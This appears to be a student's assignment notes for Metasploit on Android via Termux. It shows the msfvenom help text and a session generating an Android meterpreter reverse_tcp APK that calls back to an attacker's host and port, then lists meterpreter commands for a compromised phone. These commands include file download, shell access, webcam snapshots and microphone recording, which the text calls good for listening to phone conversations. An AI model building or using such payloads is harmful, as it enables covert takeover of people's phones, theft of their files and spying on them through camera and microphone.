Day 3 assignment:

☐msfvenom options:


termuxblack > msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /data/data/com.termux/files/home/metasploit-framework/msfvenom [options] <var=val>
Example: /data/data/com.termux/files/home/metasploit-framework/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
termuxblack >
ESC | / HOME ↑ END PGUP
CTRL ALT ← ↓ → PGDN

□creating payload using msfvenom:

```
msf6 > msfvenom -p android/meterpreter/reverse_tcp LHOST=25
[redacted] LPORT=4444 R > termuxtech.apk
[*] exec: msfvenom -p android/meterpreter/reverse_tcp LHOST
=[redacted]3 LPORT=4444 R > termuxtech.apk

[-] No platform was selected, choosing Msf::Module::Platfor
m::Android from the payload
[-] No arch selected, selecting arch: dalvik from the paylo
ad
No encoder specified, outputting raw payload
Payload size: 10187 bytes

msf6 > ls
[*] exec: ls

android_shell.apk     metasploit.sh    termuxtech.apk
install.sh            storage
metasploit-framework  termuxblack.key
msf6 > python -m simple HTTPServer 4444
[-] Unknown command: python.
msf6 > exit
termuxblack > ls
android_shell.apk     metasploit.sh    termuxtech.apk
install.sh            storage
metasploit-framework  termuxblack.key
termuxblack > mv termuxtech.apk /internalstorage
mv: inter-device move failed: 'termuxtech.apk' to '/interna
lstorage'; unable to remove target: Read-only file system
termuxblack >
```

ESC | / HOME ↑ END PGUP ⌦

⇄ CTRL ALT ← ↓ → PGDN ⌫

□Important basic commands for meterpreter:

1.Pwd:

The pwd command allows you to see the current directory you're in.

Example:
meterpreter > pwd
/data/data/com.metasploit.stage

2.cd:

The cd command allows you to change directory.

For example:
meterpreter > cd cache
meterpreter > ls

3.cat:

The cat command allows you to see the contents of a file.

4.ls:

The ls command displays items in a directory.

For example:
meterpreter > ls
Listing: /data/data/com.metasploit.stage/files

Files with size,Type, date modified .

5.upload:

The upload command allows you to upload a file to the remote target. The -r option allows you to do so recursively.

6.download:

The download command allows you to download a file from the remote target. The -r option allows you to do so recursively.

7.search:

The search command allows you to find files on the remote target.

For example:
meterpreter > search -d . -f *.txt

8.ifconfig:

The ifconfig command displays the network interfaces on the remote machine.

meterpreter > ifconfig

Results example:
Interface 10
Name : wlan0 - wlan0
Hardware MAC : 60:f1:89:07:c2:7e
IPv4 Address : 192.168.1.207
IPv4 Netmask : 255.255.255.0IPv6 Address : 2602:30a:2c51:e660:62f1:89ff:fe07:c27e

9.getuid:

The getuid command shows the current user that the payload is running as:

meterpreter > getuidServer

Example:
username: u0_a231

9.ps:

The ps command shows a list of processes the Android device is running.

meterpreter > ps Process

Example:
List:

PID	name	Arch	User
1	/init		root
2	kthreadd		root
3	ksoftirqd/0		root
7	migration/0		root

10.shell:

The shell command allows you to interact with a shell:

meterpreter > shell
Process 1 created.
Channel 1 created.
iduid=10231(u0_a231) gid=10231(u0_a231)
groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),9997(everybody),50231(all_a231)

context=u:r:untrusted_app:s0

To get back to the Meterpreter prompt, you can do: [CTRL]+[Z]

11.sysinfo:

The sysinfo command shows you basic information about the Android device.

meterpreter > sysinfo

Results:
Computer : localhost
OS : Android 5.1.1 - Linux3.10.61-6309174 (aarch64)
Meterpreter : java/android

12.webcam list:

The webcam_list command shows a list of webcams you could use for the webcam_snap command.

Example:
meterpreter > webcam_list

Results:
1: Back Camera
2: Front Camera

13.webcam snap:

The webcam_snap command takes a picture from the device. You will have to use the webcam_list command to figure out which camera to use.

Example:
meterpreter > webcam_snap -i 2
[*] Starting...
[+] Got frame
[*] Stopped
Webcam shot saved to: /Users/user/rapid7/msf/uFWJXeQt.jpeg

14.record_mic:

The record_mic command records audio. Good for listening to a phone conversation, as well asother uses.

Example:
meterpreter > record_mic -d 20
[*] Starting...

[*] Stopped
Audio saved to: /Users/user/rapid7/msf/YAUtubCR.wav

15.activity_start:

The activity_start command is an execute command by starting an Android activity from a URIstring